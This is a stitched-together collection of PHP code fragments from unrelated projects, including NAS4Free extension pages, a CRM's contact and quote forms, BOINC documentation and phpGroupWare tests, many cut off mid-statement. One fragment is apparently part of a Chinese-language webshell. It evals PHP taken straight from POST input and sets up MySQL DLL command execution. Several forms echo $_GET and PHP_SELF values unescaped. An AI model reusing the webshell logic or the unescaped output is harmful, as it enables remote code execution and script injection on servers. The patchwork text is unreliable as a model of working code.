<?php html_separator(); html_titleline(gettext("rc.conf.local Migrator")); ?> <?php html_filechooser("oldconfig", gettext("Path to source"), $pconfig['oldconfig'], sprintf(gettext("If you want convert old rc.conf.local to TheBrig application, please add path to it."), $pconfig['name']), "/mnt/", false); html_text($confconv, gettext("Convert and download xml"), '<input name="submit" type="submit" value="Convert">'); ?> <?php html_separator(); html_titleline(gettext("Jail Archiver")); ?> <?php html_filechooser("fname", gettext("Path to folder"), $pconfig['fname'], sprintf(gettext("If you want archive old jail or any another folder choose it. It will be compressed and stored in " . $config['thebrig']['rootfolder'] . "work/."), $pconfig['fname']), "/mnt/", false); html_text($confconv, gettext("Compress and save"), '<input name="submit" type="submit" value="Compress">'); ?> </table> </td> <?php include "formend.inc"; ?> </form> </tr> </table> <?php include "fend.inc";
html_text("First Name *", "fname", $_POST['fname']); html_text("Surname", "sname", $_POST['sname']); ?> <h3>Company Details</h3> <?php html_text("Company Name", "co_name", $_POST['co_name']); if (!isset($_POST['custid'])) { $_POST['custid'] = $_GET['custid']; } customer_select("Or", "custid", $_POST['custid']); if (!isset($_POST['suppid'])) { $_POST['suppid'] = $_GET['suppid']; } supplier_select("Or", "suppid", $_POST['suppid']); html_text("Role", "role", $_POST['role']); include "/srv/athenace/lib/shared/adds.add.form.php"; html_textarea("Notes", "notes", $_POST['notes'], "body"); ?> </fieldset> <fieldset class="buttons"> <?php html_button("Save changes"); ?> or <a href="/contacts/" class="cancel" title="Cancel">Cancel</a> </fieldset>
&go=y" enctype="multipart/form-data" method="post"> <fieldset> <?php html_text("First Name", "fname", $r->fname, 'required'); html_text("Surname", "sname", $r->sname); html_text("Company Name", "co_name", $r->co_name); customer_select("Customer", "custid", $r->custid); supplier_select("Supplier", "suppid", $r->suppid); html_text("Role", "role", $r->role); html_textarea("Notes", "notes", $r->notes, "notes"); include "/srv/athenace/lib/shared/adds.edit.form.php"; ?> </fieldset> <fieldset class="buttons"> <?php html_button("Save changes"); ?> or <a href="/contacts/" class="cancel" title="Cancel">Cancel</a> </fieldset>
<?php if (!empty($input_errors)) { print_input_errors($input_errors); } ?> <?php if (!empty($savemsg)) { print_info_box($savemsg); } ?> <table width="100%" border="0" cellpadding="6" cellspacing="0"> <?php html_titleline_checkbox("enable", gettext("OneButtonInstaller"), $pconfig['enable'], gettext("Enable"), "enable_change(false)"); ?> <?php html_text("installation_directory", gettext("Installation directory"), sprintf(gettext("The extension is installed in %s"), $config['onebuttoninstaller']['rootfolder'])); ?> <?php html_filechooser("storage_path", gettext("Common directory"), $pconfig['storage_path'], gettext("Common directory for all extensions (a persistant place where all extensions are/should be - a directory below <b>/mnt/</b>)."), $pconfig['storage_path'], true, 60); ?> <?php html_checkbox("path_check", gettext("Path check"), $pconfig['path_check'], gettext("If this option is selected no examination of the common directory path will be carried out (whether it was set to a directory below /mnt/)."), "<b><font color='red'>" . gettext("Please use this option only if you know what you are doing!") . "</font></b>", false); ?> <?php html_checkbox("re_install", gettext("Re-install"), $pconfig['re_install'], gettext("If enabled it is possible to install extensions even if they are already installed."), "<b><font color='red'>" . gettext("Please use this option only if you know what you are doing!") . "</font></b>", false); ?> <?php html_checkbox("auto_update", gettext("Update"), $pconfig['auto_update'], gettext("Update extensions list automatically."), "", false); ?> <?php html_checkbox("show_beta", gettext("Beta releases"), $pconfig['show_beta'], gettext("If enabled, extensions in beta state will be shown in the extensions list."), "", false);
<li class="tabinact"><a href="extensions_bhyve_config.php"><span><?php echo "Extension config"; ?> </span></a></li> <li class="tabact"><a href="extensions_bhyve_manual.php"><span><?php echo "VM Manual"; ?> </span></a></li> </span> </a> </li> </ul> </td></tr> <tr> <td class="tabcont"> <table width="100%" border="0" cellpadding="6" cellspacing="0"> <?php html_text("my", "Notes for extemsion", file_get_contents($config['bhyve']['homefolder'] . "/conf/ext/my.txt")); html_text('text5', "Manual", file_get_contents($config['bhyve']['homefolder'] . "/conf/ext/vm.html")); ?> </table> </td> </tr> </table> <?php include "fend.inc"; ?> ?>
?> <h1>Add a New Supplier</h1> <form role="form" action="<?php echo $_SERVER['PHP_SELF']; ?> ?go=y" enctype="multipart/form-data" method="post"> <fieldset> <h3>Company Details</h3> <?php html_text("Company Name *", "co_name", $_POST['co_name']); include "/srv/athenace/lib/shared/adds.add.form.php"; ?> </fieldset> <fieldset class="buttons"> <?php html_button("Save changes"); ?> or <a href="/suppliers/" class="cancel" title="Cancel">Cancel</a> </fieldset>
echo $staffid; ?> &go=y" enctype="multipart/form-data" method="post"> <fieldset> <ol> <?php // id, fname, sname, add1, add2, city, county, dob echo '<li id=subtitle><h3>Personal Details</h3></li>'; html_text("First Name *", "fname", $r->fname); html_text("Family Name", "sname", $r->sname); html_text("Job Title", "jobtitle", $r->jobtitle); include "/srv/athenace/lib/shared/adds.edit.form.php"; ?> </ol> </fieldset> <fieldset class="buttons"> <?php html_button("Save changes"); ?> or <a href="/staff/" class="cancel" title="Cancel">Cancel</a> </fieldset>
} ?> <?php if (!empty($savemsg)) { print_info_box($savemsg); } ?> <table width="100%" border="0" cellpadding="6" cellspacing="0"> <?php html_titleline(gettext("Samba Active Directory Domain Controller")); ?> <?php html_text("hostname", gettext("Hostname"), htmlspecialchars($hostname)); ?> <?php html_text("netniosname", gettext("NetBIOS name"), htmlspecialchars($netbiosname)); ?> <?php html_inputbox("dns_forwarder", gettext("DNS forwarder"), $pconfig['dns_forwarder'], "", true, 40); ?> <?php html_inputbox("dns_domain", gettext("DNS domain"), $pconfig['dns_domain'], "", true, 40); ?> <?php html_inputbox("netbios_domain", gettext("NetBIOS domain"), $pconfig['netbios_domain'], "", true, 40); ?> <?php //html_text("realm", gettext("Kerberos realm"), htmlspecialchars($realm)); ?> <?php html_passwordconfbox("password", "password_confirm", gettext("Admin password"), "", "", gettext("Generate password if leave empty."), true);
<form role="form" action="<?php echo $_SERVER['PHP_SELF']; ?> ?go=y" enctype="multipart/form-data" method="post"> <fieldset> <?php echo '<h3>Personal Details</h3>'; html_text("First Name *", "fname", $_POST['fname']); html_text("Second Name *", "sname", $_POST['sname']); html_text("Job Title", "jobtitle", $_POST['jobtitle']); include "/srv/athenace/lib/shared/adds.add.form.php"; ?> </fieldset> <fieldset class="buttons"> <?php html_button("Save changes"); ?> or <a href="/staff/" class="cancel" title="Cancel">Cancel</a> </fieldset>
print_error_box($errormsg); } ?> <?php if (!empty($input_errors)) { print_input_errors($input_errors); } ?> <?php if (file_exists($d_sysrebootreqd_path)) { print_info_box(get_std_save_message(0)); } ?> <table width="100%" border="0" cellpadding="6" cellspacing="0"> <?php html_text("snapshot", gettext("Snapshot"), htmlspecialchars($pconfig['snapshot'])); ?> <?php $a_action = array("clone" => gettext("Clone"), "delete" => gettext("Delete")); ?> <?php html_combobox("action", gettext("Action"), $pconfig['action'], $a_action, "", true, false, "action_change()"); ?> <?php html_inputbox("newpath", gettext("Path"), $pconfig['newpath'], "", true, 30); ?> <?php html_checkbox("recursive", gettext("Recursive"), !empty($pconfig['recursive']) ? true : false, gettext("Deletes the recursive snapshot."), "", false); ?> </table> <div id="submit">
function list_item_func($x, $y) { list_item(html_text($x), $y); }
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ $addDetails = array('add1', 'add2', 'add3', 'city', 'county', 'country', 'postcode', 'tel', 'mob', 'fax', 'email', 'web', 'facebook', 'twitter', 'linkedin'); foreach ($addDetails as $field) { if (!isset($_POST[$field])) { $_POST[$field] = ''; } } echo '<h3>Contact Details</h3>'; html_text("Tel", "tel", $_POST['tel']); html_text("Fax", "fax", $_POST['fax']); html_text("Mobile", "mob", $_POST['mob']); html_text("Email", "email", $_POST['email']); echo '<h3>Address</h3>'; html_text("Address", "add1", $_POST['add1']); html_text(" ", "add2", $_POST['add2']); html_text(" ", "add3", $_POST['add3']); html_text("City", "city", $_POST['city']); html_text("County", "county", $_POST['county']); html_text("Country", "country", $_POST['country']); html_text("Postcode", "postcode", $_POST['postcode']); html_text("Web", "web", $_POST['web']); html_text("Facebook", "facebook", $_POST['facebook']); html_text("Twitter", "twitter", $_POST['twitter']); html_text("Linkedin", "linkedin", $_POST['linkedin']);
html_text("netniosname", gettext("NetBIOS name"), htmlspecialchars($netbiosname)); ?> <?php html_inputbox("dns_forwarder", gettext("DNS forwarder"), $pconfig['dns_forwarder'], "", false, 40); ?> <?php html_text("dns_domain", gettext("DNS domain"), htmlspecialchars($pconfig['dns_domain'])); ?> <?php html_text("netbios_domain", gettext("NetBIOS domain"), htmlspecialchars($pconfig['netbios_domain'])); ?> <?php html_text("path", gettext("Path"), htmlspecialchars($pconfig['path'])); ?> <?php html_text("fstype", gettext("Fileserver"), htmlspecialchars($pconfig['fstype'])); ?> <?php html_checkbox("user_shares", gettext("User shares"), !empty($pconfig['user_shares']) ? true : false, gettext("Append user defined shares"), "", false); ?> <?php html_textarea("auxparam", gettext("Auxiliary parameters"), $pconfig['auxparam'], sprintf(gettext("These parameters are added to [Global] section of %s."), "smb4.conf") . " " . sprintf(gettext("Please check the <a href='%s' target='_blank'>documentation</a>."), "http://us1.samba.org/samba/docs/man/manpages-3/smb.conf.5.html"), false, 65, 5, false, false); ?> </table> <div id="submit"> <input name="Submit" type="submit" class="formbtn" value="<?php echo gettext("Save and Restart"); ?> " /> </div> <div id="remarks">
</table> <?php include "formend.inc"; ?> </form> </td> </tr> <?php if (false == is_file("/tmp/bhyve.install")) { ?> <tr><td colspan='2' class='list' height='6'></td></tr> <form action="exec.php" method="post" name="iform" id="iform" > <table width="100%" border="0" cellpadding="6" cellspacing="0"> <?php html_titleline(gettext("Update Availability")); html_text($confconv, gettext("Current Status"), "The latest version on GitHub is: " . $git_ver . "<br /><br />Your version is: " . bhyve_VERSION); ?> <tr> <td width="22%" valign="top" class="vncell">Update your installation </td> <td width="78%" class="vtable"> <?php echo "Click below to download and install the latest version."; ?> <br /> <div id="submit_x"> <input id="bhyve_update" name="bhyve_update" type="submit" class="formbtn" value="Update" onClick="return confirm('<?php echo "Bhyve will stop, and the latest version will download. Are you sure you want to continue?"; ?> ');" /><br />
html_separator(); ?> <?php html_titleline(gettext("Administrative WebGUI")); ?> <?php html_passwordbox("admin_pw", gettext("Password"), $pconfig['admin_pw'], sprintf("%s %s", gettext("Password for the administrative pages."), gettext("Default user name is 'admin'.")), true, 20); ?> <?php $if = get_ifname($config['interfaces']['lan']['if']); $ipaddr = get_ipaddr($if); $url = htmlspecialchars("http://{$ipaddr}:{$pconfig['port']}"); $text = "<a href='{$url}' target='_blank'>{$url}</a>"; ?> <?php html_text("url", gettext("URL"), $text); ?> </table> <div id="submit"> <input name="Submit" type="submit" class="formbtn" value="<?php echo gettext("Save and Restart"); ?> " onclick="onsubmit_content(); enable_change(true)" /> </div> <div id="remarks"> <?php html_remark("note", gettext("Note"), sprintf(gettext("You have to activate <a href='%s'>Zeroconf/Bonjour</a> to advertise this service to clients."), "system_advanced.php")); ?> </div> </td> </tr>
exec("fetch -o /tmp/pub.ssl http://portsnap.freebsd.org/pub.ssl"); // Uses openssl to verify the "latest.ssl" snapshot using the portsnap public key, and then // converts that from an epoch second to a usable date. $most_date = exec("date -j -r `" . $brig_root . "conf/bin/openssl rsautl -pubin -inkey " . "/tmp/pub.ssl -verify < " . "/tmp/latest.ssl | cut -f 2 -d '|'`"); exec("rm /tmp/latest.ssl"); // Get rid of the latest tag exec("rm /tmp/pub.ssl"); // Get rid of the latest tag // We need to check if we have ever extracted a snapshot successfully if (file_exists($brig_root . "conf/ports/.portsnap.INDEX")) { $extractdate = date("D M d H:i:s T Y", filemtime($brig_root . "conf/ports/.portsnap.INDEX")); } else { $extractdate = "Never"; } html_titleline(gettext("Portstree")); html_text($confconv, gettext("Current Status"), gettext("The latest snapshot available for download is dated: ") . $most_date . "<br /><br />" . gettext("You have downloaded a snapshot that was released: ") . $tagdate . "<br /><br />" . gettext("The last time you applied a downloaded snapshot was: ") . $extractdate); // We have never gotten a tag before - we need to fetch and extract a copy first if ($tagdate === "Never") { ?> <tr> <td width="22%" valign="top" class="vncell">Fetch and Extract the tree </td> <td width="78%" class="vtable"><?php echo gettext("The first step to using a central ports tree is to fetch and extract the snapshot of the ports tree. <br /><b>This step should only need to be done the very first time, as it will overwrite anything in the ports tree directory!</b>"); ?> <br /> <div id="submit_x"> <input id="finstall" name="port_op" type="submit" class="formbtn" value="<?php echo gettext("Fetch & Install"); ?>
<form role="form" action="<?php echo $_SERVER['PHP_SELF']; ?> ?id=<?php echo $_GET['id']; ?> &go=y" enctype="multipart/form-data" method="post" name="editsupp"> <fieldset> <h3>Company Details</h3><?php html_text("Company Name", "co_name", $r->co_name); if (!isset($r->inv_contact)) { $r->inv_contact = ''; } suppliercontact_select("Invoice Contact", "contactsid", $r->inv_contact, $_GET['id']); ?> <div class="form-group"> <label for="colour">Colour <span style="width:10px;background-color:<?php echo $r->colour; ?> ;float:right;margin-right:5px;"> </span> </label> <input type="text" name="colour" value="<?php echo $r->colour; ?>
$a_pathlist = array(); foreach ($a_path as $pathv) { $a_pathlist[$pathv['path']] = htmlspecialchars($pathv['path']); } ?> <?php html_combobox("path", gettext("Path"), $pconfig['path'], $a_pathlist, "", true); ?> <?php html_inputbox("name", gettext("Name"), $pconfig['name'], "", true, 40); ?> <?php html_checkbox("recursive", gettext("Recursive"), !empty($pconfig['recursive']) ? true : false, gettext("Creates the recursive snapshot."), "", false); ?> <?php html_text("type", gettext("Type"), htmlspecialchars($pconfig['type'])); ?> <?php html_combobox("timehour", gettext("Schedule time"), $pconfig['timehour'], $a_timehour, "", true); ?> <?php html_combobox("lifetime", gettext("Life time"), $pconfig['lifetime'], $a_lifetime, "", true); ?> </table> <div id="submit"> <input name="Submit" type="submit" class="formbtn" value="<?php echo isset($uuid) && FALSE !== $cnid ? gettext("Save") : gettext("Add"); ?> " onclick="enable_change(true)" /> <input name="Cancel" type="submit" class="formbtn" value="<?php echo gettext("Cancel");
<?php require_once "docutil.php"; page_head("Server status XML export"); echo "\nBOINC-based projects offer the following XML export\nat <code>URL/server_status.php</code>.\nThese are generally updated every 10 minutes or so -\ndo not poll more often than that.\nThese can be used to make web sites showing\nthe server status of multiple BOINC projects.\n<p>\n"; echo html_text("\n<server_status>\n <update_time>1128535206</update_time>\n <daemon_status>\n <daemon>\n <host>jocelyn</host>\n <command>BOINC database</command>\n <status>running</status>\n </daemon>\n <daemon>\n <host>castelli</host>\n <command>master science database</command>\n <status>running</status>\n </daemon>\n <daemon>\n <host>klaatu</host>\n <command>data-driven web pages</command>\n <status>disabled</status>\n </daemon>\n <daemon>\n <host>galileo</host>\n <command>feeder</command>\n <status>not running</status>\n </daemon>\n </daemon_status>\n\t<database_file_states>\n <results_ready_to_send>614830</results_ready_to_send>\n <results_in_progress>1208959</results_in_progress>\n <workunits_waiting_for_validation>8</workunits_waiting_for_validation>\n <workunits_waiting_for_assimilation>2</workunits_waiting_for_assimilation>\n <workunits_waiting_for_deletion>4</workunits_waiting_for_deletion>\n <results_waiting_for_deletion>15</results_waiting_for_deletion>\n <transitioner_backlog_hours>0.00083333334</transitioner_backlog_hours>\n </database_file_states>\n</server_status>"); page_tail();
/** * Decide whether to echo or return. Used by HTML functions */ function eor($rstring, $return) { if ($return) { return $rstring; } else { html_text($rstring . "\n"); return ''; } }
?> </h3> <fieldset> <?php if (!$r->incept) { $r->incept = time(); } // Quotes submitted via Control Panel have no Quote Date initially $value = date("Y-m-d", $r->incept); html_dateselect("Date", "incept", $value); customer_select("Customer", "custid", $r->custid, 0, 'required'); custcontact_select("External Contact", "contactsid", $r->contactsid, $r->custid); staff_select("Internal Contact", "staffid", $r->staffid); html_textarea("Quote Description *", "content", $r->content, "body", 'required'); html_text("Price *", "price", $r->price, 'required'); html_textarea("Notes", "notes", $r->notes, "notes"); ?> Making a Quote as Live means it can be seen by customer in the Customer Control Panel <?php $chkd = $r->live ? 1 : 0; html_checkbox('Make it Live?', 'live', 1, $chkd); ?> </fieldset> <fieldset class="buttons"><?php html_button("Save changes"); ?>
<?php if (!empty($input_errors)) { print_input_errors($input_errors); } ?> <?php if (!empty($savemsg)) { print_info_box($savemsg); } ?> <table width="100%" border="0" cellpadding="6" cellspacing="0"> <?php html_titleline(gettext("Firmware")); ?> <?php html_text("Current version", gettext("Current Version:"), sprintf("%s %s (%s)", get_product_name(), get_product_version(), get_product_revision())); ?> <?php html_separator(); ?> <?php if (isset($fwinfo) && $fwinfo) { html_titleline(gettext("Online version check")); echo "<tr id='fwinfo'><td class='vtable' colspan='2'>"; echo "{$fwinfo}"; echo "</td></tr>\n"; html_separator(); } ?> </table> <?php
} else { ok("delete"); } ### # mkdir test $phpgw->vfs->cd(); $result = $phpgw->vfs->mkdir(array('string' => $testfile)); if (!$result) { fail(__LINE__ . "failed creating collection! returned: {$result}"); } else { ok("mkdir"); } $result = $phpgw->vfs->write(array('string' => $testfile . '/' . $testfile . '2', 'content' => $teststring)); if (!$result) { fail(__LINE__ . " failed writing file into new dir!"); } else { ok("mkdir : write into dir"); } ### # rm dir test $phpgw->vfs->cd(); $result = $phpgw->vfs->rm(array('string' => $testfile)); if (!$result) { fail(__LINE__ . " failed deleting collection! returned: {$result}"); } else { ok("delete dir"); } //html_table_end(); $time = time() - $time1; html_text("Done in {$time} s"); html_page_close();
<?php if (!isset($_POST['custid'])) { $_POST['custid'] = 0; } if (!isset($_POST['price'])) { $_POST['price'] = ''; } if (!isset($_POST['content'])) { $_POST['content'] = ''; } if (!isset($_POST['notes'])) { $_POST['notes'] = ''; } customer_select("Customer *", "custid", $_POST['custid'], 0, 'required'); html_textarea("Quote Description *", "content", $_POST['content'], "body", 'required'); html_text("Price *", "price", $_POST['price'], 'required'); html_textarea("Internal Notes (not seen by Customer)", "notes", $_POST['notes'], "notes"); ?> </fieldset> <fieldset class="buttons"> <?php html_button("Save Quote"); ?> </fieldset> </form> <br> <br> <?php
<?php echo html_text("nodeid", gettext("Node ID"), htmlspecialchars($nodeid)); ?> <?php echo html_text("nodename", gettext("Node Name"), htmlspecialchars($nodename)); ?> <?php $a_vipaddrs = array(); foreach ($a_carp as $carp) { $ifinfo = get_carp_info($carp['if']); //$a_vipaddrs[] = $carp['vipaddr']." ({$ifinfo['state']},{$ifinfo['advskew']})"; $a_vipaddrs[] = $carp['vipaddr'] . " ({$ifinfo['state']})"; } ?> <?php echo html_text("vipaddr", gettext("Virtual IP address"), !empty($a_vipaddrs) ? htmlspecialchars(join(', ', $a_vipaddrs)) : sprintf("<span class='red'>%s</span>", htmlspecialchars(gettext("No configured CARP interfaces.")))); ?> <?php //html_combobox("role", gettext("HAST role"), $pconfig['role'], array("primary" => gettext("Primary"), "secondary" => gettext("Secondary")), "", true); ?> <tr id="control_btn"> <td colspan="2"> <input id="switch_backup" name="switch_backup" type="submit" class="formbtn" value="<?php echo gettext("Switch VIP to BACKUP"); ?> " /> <?php if (isset($a_carp[0]) && $a_carp[0]['advskew'] <= 1) { ?> <input id="switch_master" name="switch_master" type="submit" class="formbtn" value="<?php echo gettext("Switch VIP to MASTER");
} ?> <?php if (!empty($savemsg)) { print_info_box($savemsg); } ?> <table width="100%" border="0" cellpadding="6" cellspacing="0"> <?php html_titleline(gettext("Extension Update")); ?> <?php html_text("ext_version_current", gettext("Installed version"), $config['downloady']['version']); ?> <?php html_text("ext_version_server", gettext("Latest version"), $server_version); ?> <?php html_separator(); ?> </table> <div id="update_remarks"> <?php html_remark("note_remove", gettext("Note"), sprintf(gettext("Removing %s integration from NAS4Free will leave the installation folder untouched - remove the files using Windows Explorer, FTP or some other tool of your choice. <br /><b>Please note: this page will no longer be available.</b> You'll have to re-run %s extension installation to get it back on your NAS4Free."), gettext("Downloady"), gettext("Downloady"))); ?> <br /> <input id="ext_update" name="ext_update" type="submit" class="formbtn" value="<?php echo gettext("Update Extension"); ?> " onclick="return confirm('<?php echo gettext("The selected operation will be completed. Please do not click any other buttons!");
echo "返回数据包: {$recvbuf} <br>"; $sendbuf = $deldomain; @fputs($sock, $sendbuf, strlen($sendbuf)); echo "发送数据包: {$sendbuf} <br>"; $recvbuf = @fgets($sock, 1024); echo "返回数据包: {$recvbuf} <br>"; @fclose($exp); } @fclose($sock); echo '</div>'; } break; case "eval": $phpcode = isset($_POST['phpcode']) ? $_POST['phpcode'] : "phpinfo();"; html_n('<tr><td><form method="POST">不用写<? ?>标签'); html_text("phpcode", "70", "15", $phpcode); html_input("submit", "eval", "执行", "<br><br>"); if (!empty($_POST['eval'])) { echo "<br><br>"; eval(stripslashes($phpcode)); } html_n('</form>'); break; case "myexp": $MSG_BOX = '请先导出DLL,再执行命令.MYSQL用户必须为root权限,导出路径必须能加载DLL文件.'; $info = '命令回显'; $mhost = 'localhost'; $muser = '******'; $mport = '3306'; $mpass = ''; $mdata = 'mysql';
<?php // endif; ?> </td></tr> <?php html_separator(); ?> </tr> <?php html_titleline("Framework configuration"); $work_dir_type = array('0' => 'Home', '2' => 'Different folder'); if (true == bhyve_zfs_check()) { $work_dir_type[1] = 'Dataset'; } html_combobox("work_dir_type", "Working folder", $pconfig['work_dir_type'], $work_dir_type, "Virtual machines will store on dataset", false, false, "clickfix()"); html_text("work_dir_simple", "", "Virtual machines will store at extension home folder"); if (FALSE !== ($datasets_list = bhyve_datasets_list())) { for ($i = 0; $i < count($datasets_list); ++$i) { $a_datasets_list[$datasets_list[$i][1]] = $datasets_list[$i][1]; } html_combobox("work_dir_zfs", "", $pconfig['work_dir'], $a_datasets_list, "Virtual machines will store on dataset", false, false, "clickfix()"); } ?> <tr id='work_dir_diff_tr'> <td width='22%' valign='top' class='vncell'><label for='work_dir_diff'></label></td> <td width='78%' class='vtable'> <input name='work_dir_diff' type='text' class='formfld' id='work_dir_diff' size='67' value='<?php echo $pconfig['work_dir']; ?> ' onchange='clickfix()' /> <input name='work_dir_diffbrowsebtn' type='button' class='formbtn' id='work_dir_diffbrowsebtn' onclick='work_dir_diffifield = form.work_dir_diff; filechooser = window.open("filechooser.php?p="+encodeURIComponent(work_dir_diffifield.value)+"&sd=/mnt", "filechooser", "scrollbars=yes,toolbar=no,menubar=no,statusbar=no,width=550,height=300"); filechooser.ifield = work_dir_diffifield; window.ifield = work_dir_diffifield;' value='...' />
if ($edit) { ### # If $edit is "Edit", we do nothing, and let the for loop take over ### if ($edit_file) { $edit_file_content = stripslashes($edit_file_content); } if ($edit_preview) { $content = $edit_file_content; html_break(1); html_text_bold(lang('Preview of %1', $path . '/' . $edit_file)); html_break(2); html_table_begin('90%'); html_table_row_begin(); html_table_col_begin(); html_text(nl2br($content)); html_table_col_end(); html_table_row_end(); html_table_end(); } elseif ($edit_save) { $content = $edit_file_content; if ($GLOBALS['phpgw']->vfs->write(array('string' => $edit_file, 'relatives' => array(RELATIVE_ALL), 'content' => $content))) { html_text_bold(lang('Saved %1', $path . '/' . $edit_file)); html_break(2); html_link_back(); } else { html_text_error(lang('Could not save %1', $path . '/' . $edit_file)); html_break(2); html_link_back(); } }
$my_rel = exec("uname -r"); $my_rel_cut = exec("uname -r | cut -d- -f1-2"); // Obtain the current kernel release exec("fetch -o /tmp/latest.ssl http://update.freebsd.org/" . $my_rel_cut . "/" . $my_arch . "/latest.ssl"); exec("fetch -o /tmp/pub.ssl http://update.freebsd.org/" . $my_rel_cut . "/" . $my_arch . "/pub.ssl"); // Uses openssl to verify the "latest.ssl" snapshot using the portsnap public key, and then // converts that from an epoch second to a usable date. exec($brig_root . "conf/bin/openssl rsautl -pubin -inkey " . "/tmp/pub.ssl -verify < " . "/tmp/latest.ssl > /tmp/update.tag"); $EOL_date = exec("date -j -r `cat /tmp/update.tag | cut -f 6 -d '|'`"); $tag_rel = exec("cat /tmp/update.tag | cut -f 3 -d '|'"); $tag_patch = exec("cat /tmp/update.tag | cut -f 4 -d '|'"); //exec ("rm /tmp/latest.ssl"); // Get rid of the latest tag //exec ("rm /tmp/pub.ssl"); // Get rid of the latest tag //exec ( "rm /tmp/update.tag"); html_titleline(gettext("Update")); html_text($confconv, gettext("Current Status"), gettext("The latest version on the FTP server is: ") . $tag_rel . "-p" . $tag_patch . "<br /><br />" . gettext("The update on the FTP server is valid until: ") . $EOL_date); ?> <tr> <td width="15%" valign="top" class="vncell"><?php echo gettext("Cronjob"); ?> </td> <td width="85%" class="vtable"><input name="updatecron" type="checkbox" id="updatecron" value="yes" <?php if (!empty($pconfig['updatecron'])) { echo "checked=\"checked\""; } ?> /> <?php